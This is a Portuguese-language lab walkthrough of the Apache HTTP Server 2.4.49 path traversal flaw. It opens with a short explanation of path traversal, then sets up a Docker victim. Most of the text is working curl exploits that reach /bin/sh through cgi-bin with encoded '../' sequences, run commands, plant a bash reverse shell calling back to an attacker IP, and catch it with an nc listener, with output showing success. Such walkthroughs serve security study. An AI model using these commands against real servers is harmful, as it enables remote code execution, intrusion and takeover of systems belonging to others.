
Foi encontrada uma falha em uma alteração feita na normalização de caminhos no Apache HTTP Server 2.4.49. Um atacante poderia usar um ataque de path traversal para mapear URLs para arquivos fora dos diretórios configurados por diretivas do tipo Alias.
Se os arquivos fora desses diretórios não estiverem protegidos pela configuração padrão usual "require all denied", essas solicitações podem ser bem-sucedidas. Se scripts CGI também estiverem habilitados para esses caminhos com alias, isso poderá permitir a execução remota de código.
Sabe-se que esse problema é explorado ativamente.
Esse problema afeta apenas o Apache 2.4.49 e não versões anteriores.
Um ataque de path traversal (também conhecido como directory traversal) tem como objetivo acessar arquivos e diretórios armazenados fora da pasta raiz da web. Ao manipular variáveis que fazem referência a arquivos com sequências “dot-dot-slash (../)” e suas variações, ou usando caminhos de arquivo absolutos, pode ser possível acessar arquivos e diretórios arbitrários armazenados no sistema de arquivos, incluindo código-fonte de aplicativos, configuração e arquivos críticos do sistema. Deve-se notar que o acesso aos arquivos é limitado pelo controle de acesso operacional do sistema (como no caso de arquivos bloqueados ou em uso no sistema operacional Microsoft Windows).
Esse ataque também é conhecido como “dot-dot-slash”, “directory traversal”, “directory climbing” e “backtracking”.
$ docker-compose build
$ docker-compose up
Confirme que funciona
$ curl http://localhost:1234
<html><body><h1>It works!</h1></body></html>
Vítima : localhost:1234
Atacante : 192.168.1.12
De acordo com a documentação, essa é uma falha que nos permite executar código remotamente (RCE).
Podemos explorá-la fazendo um curl com a pasta cgi-bin.
$ curl 'http://<victim_ip>/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; <command>'
1. RCE
Vamos ver se realmente temos acesso ao comando, por exemplo id :
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2. Reverse shell
Vamos testar uma reverse shell criando um arquivo bash no servidor da vítima.
Vamos usar como exemplo a reverse shell em bash encontrada no repositório PayloadsAllTheThings.
Aqui está um exemplo :
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
Vamos criar o arquivo vuln.sh na máquina da vítima na pasta /tmp/ !
Este arquivo conterá a nossa reverse shell que podemos executar remotamente. Ele se conectará à nossa máquina local na porta 44.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; echo "#!/bin/bash\nbash -i >& /dev/tcp/192.168.1.12/44 0>&1" > /tmp/vuln.sh'
Você pode verificar o conteúdo do arquivo com o comando cat
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:text/plain; echo; cat /tmp/vuln.sh'
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.12/44 0>&1
3. Listener com ncat
Vamos criar o listener na máquina local.
$ nc -lvnp 44
Resta apenas executar o arquivo remoto.
$ curl 'http://localhost:1234/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type:
text/plain; echo; bash /tmp/vuln.sh'
Resposta :
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::44
Ncat: Listening on 0.0.0.0:44
Ncat: Connection from 172.19.32.1.
Ncat: Connection from 172.19.32.1:58963.